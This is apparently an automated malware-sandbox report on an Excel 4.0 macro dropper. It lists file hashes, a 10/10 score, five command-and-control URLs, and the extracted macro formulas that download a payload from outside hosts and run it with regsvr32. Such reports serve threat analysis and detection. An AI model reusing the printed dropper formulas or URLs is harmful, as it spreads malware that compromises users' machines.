General

  • Target

    fd28d19ac16d2aed51885674f3b019f8c4996d7cc28bf13f222f1db7c5410e1c

  • Size

    90KB

  • Sample

    241120-njs1mswmas

  • MD5

    40c1c560733e88455e540c03aa207fec

  • SHA1

    5b979c2740266c726f1b8d9c6b4552cfad6fb828

  • SHA256

    fd28d19ac16d2aed51885674f3b019f8c4996d7cc28bf13f222f1db7c5410e1c

  • SHA512

    157d7c527c43b4ef6d309bc96f556096c7bdabd13e891c3b0975f070dfb48a1c4796f70b7edc6ceada311e8c0f21ba60075822537d1a7863d045395c20b62d60

  • SSDEEP

    1536:zQBrnXpnyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xXPd:aDpyVEoBo6hKb4llGsQjbxfd

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/

http://www.beholdpublications.com/home/BABxyyWZx8Vu/

http://explorationit.com/screwing/AxLm/

http://donboscoschoolputhuppally.org/wp-content/UuQ7LBsPoGu9Q/

http://myclassroomtime.com/mongery/ZlPsROtQiXIujmJmAA/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/","..\xxw1.ocx",0,0) =IF('EGFAGAGDGE'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.beholdpublications.com/home/BABxyyWZx8Vu/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://explorationit.com/screwing/AxLm/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://donboscoschoolputhuppally.org/wp-content/UuQ7LBsPoGu9Q/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://myclassroomtime.com/mongery/ZlPsROtQiXIujmJmAA/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/

Targets

    • Target

      fd28d19ac16d2aed51885674f3b019f8c4996d7cc28bf13f222f1db7c5410e1c

    • Size

      90KB

    • MD5

      40c1c560733e88455e540c03aa207fec

    • SHA1

      5b979c2740266c726f1b8d9c6b4552cfad6fb828

    • SHA256

      fd28d19ac16d2aed51885674f3b019f8c4996d7cc28bf13f222f1db7c5410e1c

    • SHA512

      157d7c527c43b4ef6d309bc96f556096c7bdabd13e891c3b0975f070dfb48a1c4796f70b7edc6ceada311e8c0f21ba60075822537d1a7863d045395c20b62d60

    • SSDEEP

      1536:zQBrnXpnyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xXPd:aDpyVEoBo6hKb4llGsQjbxfd

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks